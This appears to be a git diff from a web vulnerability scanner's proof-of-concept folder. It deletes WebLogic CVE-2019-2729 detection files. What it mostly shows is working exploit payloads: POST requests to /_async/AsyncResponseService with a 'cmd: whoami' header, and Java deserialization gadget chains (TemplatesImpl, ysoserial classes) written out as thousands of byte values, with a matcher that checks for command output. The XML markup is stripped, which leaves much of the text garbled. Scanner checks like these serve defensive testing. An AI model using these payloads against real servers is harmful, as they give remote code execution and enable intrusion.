- 19
-
-
- 0
-
-
- 27
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 73
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 56
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 42
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- -71
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 28
-
-
- 0
-
-
- 29
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 30
-
-
- 0
-
-
- 31
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 25
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 41
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 114
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 18
-
-
- -89
-
-
- 0
-
-
- 3
-
-
- 1
-
-
- 76
-
-
- -72
-
-
- 0
-
-
- 47
-
-
- -64
-
-
- 0
-
-
- 49
-
-
- -74
-
-
- 0
-
-
- 53
-
-
- -64
-
-
- 0
-
-
- 55
-
-
- 18
-
-
- 57
-
-
- -74
-
-
- 0
-
-
- 61
-
-
- 77
-
-
- -72
-
-
- 0
-
-
- 47
-
-
- -64
-
-
- 0
-
-
- 49
-
-
- -74
-
-
- 0
-
-
- 53
-
-
- -64
-
-
- 0
-
-
- 55
-
-
- -74
-
-
- 0
-
-
- 65
-
-
- 78
-
-
- 45
-
-
- 18
-
-
- 67
-
-
- -74
-
-
- 0
-
-
- 73
-
-
- 45
-
-
- -74
-
-
- 0
-
-
- 77
-
-
- 58
-
-
- 4
-
-
- 25
-
-
- 4
-
-
- -69
-
-
- 0
-
-
- 79
-
-
- 89
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 44
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 18
-
-
- 88
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- -73
-
-
- 0
-
-
- 94
-
-
- -74
-
-
- 0
-
-
- 100
-
-
- 25
-
-
- 4
-
-
- -74
-
-
- 0
-
-
- 103
-
-
- 18
-
-
- 105
-
-
- -72
-
-
- 0
-
-
- 110
-
-
- 58
-
-
- 5
-
-
- 25
-
-
- 5
-
-
- 1
-
-
- -91
-
-
- 0
-
-
- 16
-
-
- 25
-
-
- 5
-
-
- -74
-
-
- 0
-
-
- 115
-
-
- 18
-
-
- 117
-
-
- -74
-
-
- 0
-
-
- 121
-
-
- -102
-
-
- 0
-
-
- 6
-
-
- -89
-
-
- 0
-
-
- 33
-
-
- -72
-
-
- 0
-
-
- 127
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 18
-
-
- -127
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 44
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- -74
-
-
- 0
-
-
- -123
-
-
- 58
-
-
- 6
-
-
- -89
-
-
- 0
-
-
- 30
-
-
- -72
-
-
- 0
-
-
- 127
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 18
-
-
- -121
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 44
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- -74
-
-
- 0
-
-
- -123
-
-
- 58
-
-
- 6
-
-
- -69
-
-
- 0
-
-
- -119
-
-
- 89
-
-
- -69
-
-
- 0
-
-
- -117
-
-
- 89
-
-
- 25
-
-
- 6
-
-
- -74
-
-
- 0
-
-
- -111
-
-
- 18
-
-
- 67
-
-
- -73
-
-
- 0
-
-
- -108
-
-
- -73
-
-
- 0
-
-
- -105
-
-
- 58
-
-
- 7
-
-
- 1
-
-
- 58
-
-
- 8
-
-
- 18
-
-
- -103
-
-
- 58
-
-
- 9
-
-
- -89
-
-
- 0
-
-
- 25
-
-
- -69
-
-
- 0
-
-
- 81
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- 25
-
-
- 9
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- 25
-
-
- 8
-
-
- -74
-
-
- 0
-
-
- 86
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- 58
-
-
- 9
-
-
- 25
-
-
- 7
-
-
- -74
-
-
- 0
-
-
- -100
-
-
- 89
-
-
- 58
-
-
- 8
-
-
- 1
-
-
- -90
-
-
- -1
-
-
- -31
-
-
- 45
-
-
- -74
-
-
- 0
-
-
- -96
-
-
- 25
-
-
- 9
-
-
- -74
-
-
- 0
-
-
- -91
-
-
- -89
-
-
- 0
-
-
- 24
-
-
- 58
-
-
- 10
-
-
- -78
-
-
- 0
-
-
- -85
-
-
- 25
-
-
- 10
-
-
- -74
-
-
- 0
-
-
- -82
-
-
- -74
-
-
- 0
-
-
- -77
-
-
- 25
-
-
- 10
-
-
- -74
-
-
- 0
-
-
- -74
-
-
- -89
-
-
- 0
-
-
- 3
-
-
- -79
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 94
-
-
- 0
-
-
- -7
-
-
- 0
-
-
- -4
-
-
- 0
-
-
- -89
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- -73
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 70
-
-
- 0
-
-
- 9
-
-
- 3
-
-
- -1
-
-
- 0
-
-
- 109
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 5
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 7
-
-
- 0
-
-
- 69
-
-
- 7
-
-
- 0
-
-
- 96
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 29
-
-
- -4
-
-
- 0
-
-
- 26
-
-
- 7
-
-
- 0
-
-
- -115
-
-
- -2
-
-
- 0
-
-
- 32
-
-
- 7
-
-
- 0
-
-
- -119
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 21
-
-
- -1
-
-
- 0
-
-
- 23
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 5
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 7
-
-
- 0
-
-
- 69
-
-
- 7
-
-
- 0
-
-
- 96
-
-
- 7
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 1
-
-
- 7
-
-
- 0
-
-
- -89
-
-
- 20
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 32
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 17
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 35
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 9
-
-
- 117
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -44
-
-
- -54
-
-
- -2
-
-
- -70
-
-
- -66
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- 27
-
-
- 10
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 21
-
-
- 7
-
-
- 0
-
-
- 23
-
-
- 7
-
-
- 0
-
-
- 24
-
-
- 7
-
-
- 0
-
-
- 25
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 85
-
-
- 73
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 74
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 67
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 116
-
-
- 97
-
-
- 110
-
-
- 116
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 5
-
-
- 113
-
-
- -26
-
-
- 105
-
-
- -18
-
-
- 60
-
-
- 109
-
-
- 71
-
-
- 24
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 60
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 40
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 67
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 97
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 104
-
-
- 105
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 73
-
-
- 110
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 37
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 83
-
-
- 111
-
-
- 117
-
-
- 114
-
-
- 99
-
-
- 101
-
-
- 70
-
-
- 105
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 46
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 7
-
-
- 0
-
-
- 26
-
-
- 1
-
-
- 0
-
-
- 35
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 79
-
-
- 98
-
-
- 106
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 42
-
-
- -73
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 60
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- 18
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 20
-
-
- 0
-
-
- 17
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 9
-
-
- 112
-
-
- 116
-
-
- 0
-
-
- 4
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 114
-
-
- 112
-
-
- 119
-
-
- 1
-
-
- 0
-
-
- 120
-
-
- 115
-
-
- 125
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 29
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 120
-
-
- 114
-
-
- 0
-
-
- 23
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 46
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 46
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 120
-
-
- 121
-
-
- -31
-
-
- 39
-
-
- -38
-
-
- 32
-
-
- -52
-
-
- 16
-
-
- 67
-
-
- -53
-
-
- 2
-
-
- 0
-
-
- 1
-
-
- 76
-
-
- 0
-
-
- 1
-
-
- 104
-
-
- 116
-
-
- 0
-
-
- 37
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 118
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 50
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 46
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 46
-
-
- 97
-
-
- 110
-
-
- 110
-
-
- 111
-
-
- 116
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 46
-
-
- 65
-
-
- 110
-
-
- 110
-
-
- 111
-
-
- 116
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 73
-
-
- 110
-
-
- 118
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 85
-
-
- -54
-
-
- -11
-
-
- 15
-
-
- 21
-
-
- -53
-
-
- 126
-
-
- -91
-
-
- 2
-
-
- 0
-
-
- 2
-
-
- 76
-
-
- 0
-
-
- 12
-
-
- 109
-
-
- 101
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 121
-
-
- 112
-
-
- 101
-
-
- 116
-
-
- 0
-
-
- 17
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 5
-
-
- 7
-
-
- -38
-
-
- -63
-
-
- -61
-
-
- 22
-
-
- 96
-
-
- -47
-
-
- 3
-
-
- 0
-
-
- 2
-
-
- 70
-
-
- 0
-
-
- 10
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 70
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 73
-
-
- 0
-
-
- 9
-
-
- 116
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 115
-
-
- 104
-
-
- 111
-
-
- 108
-
-
- 100
-
-
- 120
-
-
- 112
-
-
- 63
-
-
- 64
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 119
-
-
- 8
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 116
-
-
- 0
-
-
- 8
-
-
- 102
-
-
- 53
-
-
- 97
-
-
- 53
-
-
- 97
-
-
- 54
-
-
- 48
-
-
- 56
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 9
-
-
- 120
-
-
- 118
-
-
- 114
-
-
- 0
-
-
- 29
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 120
-
-
-
-
-
-
-
-
-
-
-
- follow_redirects: false
- expression: 'response.status == 200 && response.body.bcontains(b"whoami :")'
\ No newline at end of file
diff --git a/WebScan/pocs/weblogic-cve-2019-2729-2.yml b/WebScan/pocs/weblogic-cve-2019-2729-2.yml
deleted file mode 100644
index db34c1c..0000000
--- a/WebScan/pocs/weblogic-cve-2019-2729-2.yml
+++ /dev/null
@@ -1,10473 +0,0 @@
-name: poc-yaml-weblogic-cve-2019-2729-2
-rules:
- - method: POST
- path: /_async/AsyncResponseService
- headers:
- Content-Type: text/xml
- cmd: whoami
- body: |-
-
-
-
- xx
- xx
-
-
-
- oracle.toplink.internal.sessions.UnitOfWorkChangeSet
-
-
-
- -84
-
-
- -19
-
-
- 0
-
-
- 5
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 23
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 107
-
-
- 101
-
-
- 100
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 83
-
-
- 101
-
-
- 116
-
-
- -40
-
-
- 108
-
-
- -41
-
-
- 90
-
-
- -107
-
-
- -35
-
-
- 42
-
-
- 30
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 114
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 83
-
-
- 101
-
-
- 116
-
-
- -70
-
-
- 68
-
-
- -123
-
-
- -107
-
-
- -106
-
-
- -72
-
-
- -73
-
-
- 52
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 119
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 16
-
-
- 63
-
-
- 64
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 58
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 46
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 46
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 46
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 46
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 46
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 46
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 9
-
-
- 87
-
-
- 79
-
-
- -63
-
-
- 110
-
-
- -84
-
-
- -85
-
-
- 51
-
-
- 3
-
-
- 0
-
-
- 6
-
-
- 73
-
-
- 0
-
-
- 13
-
-
- 95
-
-
- 105
-
-
- 110
-
-
- 100
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 73
-
-
- 0
-
-
- 14
-
-
- 95
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 73
-
-
- 110
-
-
- 100
-
-
- 101
-
-
- 120
-
-
- 91
-
-
- 0
-
-
- 10
-
-
- 95
-
-
- 98
-
-
- 121
-
-
- 116
-
-
- 101
-
-
- 99
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 3
-
-
- 91
-
-
- 91
-
-
- 66
-
-
- 91
-
-
- 0
-
-
- 6
-
-
- 95
-
-
- 99
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 18
-
-
- 91
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 5
-
-
- 95
-
-
- 110
-
-
- 97
-
-
- 109
-
-
- 101
-
-
- 116
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 17
-
-
- 95
-
-
- 111
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 105
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 22
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 105
-
-
- 101
-
-
- 115
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- -1
-
-
- -1
-
-
- -1
-
-
- -1
-
-
- 117
-
-
- 114
-
-
- 0
-
-
- 3
-
-
- 91
-
-
- 91
-
-
- 66
-
-
- 75
-
-
- -3
-
-
- 25
-
-
- 21
-
-
- 103
-
-
- 103
-
-
- -37
-
-
- 55
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 117
-
-
- 114
-
-
- 0
-
-
- 2
-
-
- 91
-
-
- 66
-
-
- -84
-
-
- -13
-
-
- 23
-
-
- -8
-
-
- 6
-
-
- 8
-
-
- 84
-
-
- -32
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 8
-
-
- -82
-
-
- -54
-
-
- -2
-
-
- -70
-
-
- -66
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- 99
-
-
- 10
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 34
-
-
- 7
-
-
- 0
-
-
- 97
-
-
- 7
-
-
- 0
-
-
- 37
-
-
- 7
-
-
- 0
-
-
- 38
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 85
-
-
- 73
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 74
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 67
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 116
-
-
- 97
-
-
- 110
-
-
- 116
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 5
-
-
- -83
-
-
- 32
-
-
- -109
-
-
- -13
-
-
- -111
-
-
- -35
-
-
- -17
-
